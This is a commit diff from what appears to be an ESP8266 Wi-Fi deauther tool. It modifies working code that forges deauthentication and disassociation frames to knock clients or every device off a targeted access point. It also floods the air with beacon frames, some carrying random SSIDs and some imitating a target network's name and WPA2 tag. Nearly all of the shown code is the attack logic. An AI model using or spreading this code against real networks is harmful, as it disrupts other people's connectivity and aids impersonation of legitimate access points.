@@ -9,7 +9,7 @@ Attack::Attack(){
99}
1010
1111void Attack::generate (int num){
12-
12+
1313 randomSeed (os_random ());
1414 uint8_t randomMac[6 ] = {0x00 ,0x01 ,0x02 ,0x00 ,0x00 ,0x00 };
1515
@@ -19,7 +19,7 @@ void Attack::generate(int num){
1919 getRandomVendorMac (randomMac);
2020 for (int h=0 ;h<SSIDLen;h++) beaconSSIDs[i][h] = random (32 ,126 ); // see: https://www.arduino.cc/en/Reference/ASCIIchart
2121 for (int h=0 ;h<6 ;h++) beaconMACs[i][h] = randomMac[h];
22- beaconNumbers[i] = random (255 );
22+ beaconNumbers[i] = random (100 , 255 );
2323 // beaconChannels[i] = random(1,12);
2424 // Serial.println(data_getVendor(randomMac[0],randomMac[1],randomMac[2]));
2525 }
@@ -29,11 +29,11 @@ void Attack::generate(int num){
2929 getRandomVendorMac (randomMac);
3030 for (int h=0 ;h<SSIDLen;h++) beaconSSIDs[num][h] = random (32 ,126 ); // see: https://www.arduino.cc/en/Reference/ASCIIchart
3131 for (int h=0 ;h<6 ;h++) beaconMACs[num][h] = randomMac[h];
32- beaconNumbers[num] = random (255 );
32+ beaconNumbers[num] = random (100 , 255 );
3333 // beaconChannels[num] = random(1,12);
3434 // Serial.println(data_getVendor(randomMac[0],randomMac[1],randomMac[2]));
3535 }
36-
36+
3737}
3838
3939bool Attack::send (uint8_t buf[], int len){
@@ -48,11 +48,11 @@ bool Attack::send(uint8_t buf[], int len){
4848}
4949
5050void Attack::start (int num){
51-
51+
5252 if (!running[num]){
5353 running[num] = true ;
5454 stati[num] = " starting" ;
55-
55+
5656 switch (num){
5757 case 0 : // deauth selected
5858 running[1 ] = false ;
@@ -61,22 +61,29 @@ void Attack::start(int num){
6161 for (int i=0 ;i<6 ;i++){
6262 deauthPacket[10 +i] = deauthPacket[16 +i] = apScan.getTarget ()._get (i);
6363 }
64+
6465 break ;
6566 case 1 : // deauth broadcast
67+
6668 running[0 ] = false ;
6769 stati[0 ] = " ready" ;
6870 for (int i=0 ;i<6 ;i++){
6971 deauthPacket[4 +i] = 0xFF ;
7072 deauthPacket[10 +i] = deauthPacket[16 +i] = apScan.getTarget ()._get (i);
7173 }
74+
7275 break ;
7376 case 2 : // beacon
77+
7478 running[3 ] = false ;
7579 stati[3 ] = " ready" ;
80+
7681 break ;
7782 case 3 : // random beacon
83+
7884 running[2 ] = false ;
7985 stati[2 ] = " ready" ;
86+
8087 break ;
8188 default :
8289 break ;
@@ -88,17 +95,25 @@ void Attack::start(int num){
8895}
8996
9097String Attack::getResults (){
98+
99+ if (apScan.selected < 0 ) stati[0 ] = stati[1 ] = stati[2 ] = stati[3 ] = " no AP" ;
100+
91101 String json = " { \" aps\" : [" ;
92102 json += " \" " +apScan.getAPName (apScan.selected )+" \" " ;
93103 json += " ], \" clients\" : [" ;
94- if (clientScan.results >0 ){
95- for (int i=0 ;i<clientScan.results ;i++){
96- if (clientScan.getClientSelected (i)){
97- json += " \" " +clientScan.getClientMac (i).toString ()+" " +clientScan.getClientVendor (i)+" - " +clientScan.getClientName (i)+" \" ," ;
98- }
99- }
100- json.remove (json.length ()-1 );
104+
105+ int selectedClientsNum = 0 ;
106+
107+ for (int i=0 ;i<clientScan.results ;i++){
108+ if (clientScan.getClientSelected (i)){
109+ json += " \" " +clientScan.getClientMac (i).toString ()+" " +clientScan.getClientVendor (i)+" - " +clientScan.getClientName (i)+" \" ," ;
110+ selectedClientsNum++;
111+ }
101112 }
113+
114+ if (selectedClientsNum == 0 ) stati[0 ] = " no client" ;
115+ else json.remove (json.length ()-1 );
116+
102117 json += " ], \" attacks\" : [" ;
103118 for (int i=0 ;i<attackNum;i++){
104119 json += " {" ;
@@ -109,34 +124,43 @@ String Attack::getResults(){
109124 if (i < attackNum-1 ) json += " ," ;
110125 }
111126 json += " ] }" ;
127+
112128 return json;
113129}
114130
115131void Attack::run (){
116132 currentMillis = millis ();
117-
133+
118134 if (running[0 ]){
119135 if ((currentMillis - previousMillis[0 ]) >= 1000 /deauthsPerSecond){
136+
137+ int clientsSelected = 0 ;
138+
120139 for (int i=0 ;i<clientScan.results ;i++){
140+
121141 if (clientScan.getClientSelected (i)){
142+ clientsSelected++;
143+
122144 // set Mac adresses
123145 for (int h=0 ;h<6 ;h++){
124146 deauthPacket[4 +h] = clientScan.getClientMac (i)._get (h);
125147 deauthPacket[10 +h] = deauthPacket[16 +h] = apScan.getTarget ()._get (h);
126148 }
127-
149+
128150 // send deauth frame
129151 deauthPacket[0 ] = 0xc0 ;
130152 if (send (deauthPacket, 26 )) packetsCounter[0 ]++;
131-
153+
132154 // send disassociate frame
133155 deauthPacket[0 ] = 0xa0 ;
134156 if (send (deauthPacket, 26 )) packetsCounter[0 ]++;
135157
136158 previousMillis[0 ] = millis ();
137-
138- }
159+
160+ }
161+
139162 }
163+ if (clientsSelected == 0 ) running[0 ] = false ;
140164 }
141165
142166 if (currentMillis - previousSecond[0 ] >= 1000 ){
@@ -145,7 +169,7 @@ void Attack::run(){
145169 previousSecond[0 ] = millis ();
146170 // Serial.println("");
147171 }
148-
172+
149173 }
150174 if (running[1 ]){
151175 if ((currentMillis - previousMillis[1 ]) >= 1000 /deauthsPerSecond){
@@ -160,7 +184,7 @@ void Attack::run(){
160184 }else packetsCounter[1 ]++;
161185
162186 delay (1 );
163-
187+
164188 // send disassociate
165189 deauthPacket[0 ] = 0xa0 ;
166190 if (wifi_send_pkt_freedom (deauthPacket, 26 , 0 ) == -1 ){/*
@@ -169,9 +193,9 @@ void Attack::run(){
169193 PrintHex8(packet, packetSize);
170194 Serial.println("");*/
171195 }else packetsCounter[1 ]++;
172-
196+
173197 previousMillis[1 ] = millis ();
174-
198+
175199 }
176200
177201 if (currentMillis - previousSecond[1 ] >= 1000 ){
@@ -180,20 +204,20 @@ void Attack::run(){
180204 previousSecond[1 ] = millis ();
181205 // Serial.println("");
182206 }
183-
207+
184208 }
185-
209+
186210 if (running[2 ] || running[3 ]){
187-
211+
188212 if ((currentMillis - previousMillis[3 ]) >= 1000 /beaconPerSecond){
189213 previousMillis[3 ] = millis ();
190214 randomBeaconCounter = 0 ;
191-
215+
192216 for (int i=0 ;i<randomBeacons;i++){
193217 // unsigned long startTime = millis();
194218 randomBeaconCounter++;
195219 generatePacket ();
196-
220+
197221 if (wifi_send_pkt_freedom (packet, packetSize, 0 ) == -1 ){/*
198222 Serial.print(packetSize);
199223 Serial.print(" : ");
@@ -209,18 +233,17 @@ void Attack::run(){
209233 else stati[2 ] = (String)packetsCounter[3 ]+" pkts/s" ;
210234 packetsCounter[3 ] = 0 ;
211235 previousSecond[3 ] = millis ();
212- // Serial.println("");
213236 }
214-
237+
215238 }
216239}
217240
218241void Attack::generatePacket (){/*
219242 if(running[0]){
220-
243+
221244 }
222245 if(running[1]){
223-
246+
224247 }
225248 else if(running[2] || running[3]){*/
226249
@@ -231,49 +254,58 @@ void Attack::generatePacket(){/*
231254 if (oldRandomBeacon == randomBeacons) oldRandomBeacon = 0 ;
232255 previousRandomBeaconMillis = currentMillis;
233256 }
234-
257+
235258 packetSize = 0 ;
236259 for (int i=0 ;i<sizeof (beaconPacket_header);i++) packet[i] = beaconPacket_header[i];
237260 packetSize += sizeof (beaconPacket_header);
238261
239- if (running[2 ]){
262+ if (running[2 ]){ // target spam
263+
264+
240265 String apName = apScan.getAPName (apScan.selected );
241266
242267 // adds spaces to the AP-SSID if the name length is smaller then the max size of 32
243268 int _restNameLen = SSIDLen - apName.length ();
244- if (randomBeaconCounter < _restNameLen) for (int i=0 ;i<_restNameLen-randomBeaconCounter;i++) apName += " " ;
245- else apName += " " +(String)beaconNumbers[randomBeaconCounter]+(String)randomBeaconCounter;
246-
269+
270+ if (randomBeaconCounter < _restNameLen) for (int i=0 ;i<_restNameLen-randomBeaconCounter;i++) apName += " " ;// e.g. "SAMPLEAP "
271+ else if (randomBeaconCounter < _restNameLen*2 ){
272+ apName = " ." +apName;
273+ for (int i=0 ;i<(_restNameLen-1 )-randomBeaconCounter/2 ;i++) apName += " " ;// e.g. ".SAMPLEAP "
274+ }
275+ else apName += " " +(String)beaconNumbers[randomBeaconCounter];// e.g. "SAMPLEAP 329"
276+
247277 int _ssidLen = apName.length ();
248-
278+
249279 // set SSID size
250280 packet[packetSize] = 0x00 ;
251281 packet[packetSize+1 ] = _ssidLen;
252282 packetSize += 2 ;
253-
283+
254284 // set SSID
255285 for (int i=0 ;i<_ssidLen;i++) packet[packetSize+i] = apName[i];
256286 packetSize += _ssidLen;
257287
258- if (apScan.getAPEncryption (apScan.selected ) == " WPA2" ||
259- apScan.getAPEncryption (apScan.selected ) == " WPA" ||
288+ if (apScan.getAPEncryption (apScan.selected ) == " WPA2" ||
289+ apScan.getAPEncryption (apScan.selected ) == " WPA" ||
260290 apScan.getAPEncryption (apScan.selected ) == " WPA*" ){
261291 // set RSN tag
262292 for (int i=0 ;i<sizeof (beaconWPA2tag);i++) packet[packetSize+i] = beaconWPA2tag[i];
263293 packetSize += sizeof (beaconWPA2tag);
264294 }
265-
266- }else {
295+
296+
297+
298+ }else { // random spam
267299 // set SSID size
268300 packet[packetSize] = 0x00 ;
269301 packet[packetSize+1 ] = (uint8_t )SSIDLen;
270302 packetSize += 2 ;
271-
303+
272304 // set SSID
273305 for (int i=0 ;i<SSIDLen;i++) packet[packetSize+i] = beaconSSIDs[randomBeaconCounter][i];
274306 packetSize += SSIDLen;
275307 }
276-
308+
277309 for (int i=0 ;i<sizeof (beaconPacket_end);i++) packet[packetSize+i] = beaconPacket_end[i];
278310 packetSize += sizeof (beaconPacket_end);
279311
@@ -285,14 +317,13 @@ void Attack::generatePacket(){/*
285317
286318void Attack::stopAll (){
287319 for (int i=0 ;i<attackNum;i++){
288- running[i] = false ;
320+ running[i] = false ;
289321 stati[i] = " ready" ;
290322 }
291323}
292324void Attack::stop (int num){
293325 if (num>=0 && num<attackNum){
294- running[num] = false ;
326+ running[num] = false ;
295327 stati[num] = " ready" ;
296328 }
297- }
298-
329+ }
0 commit comments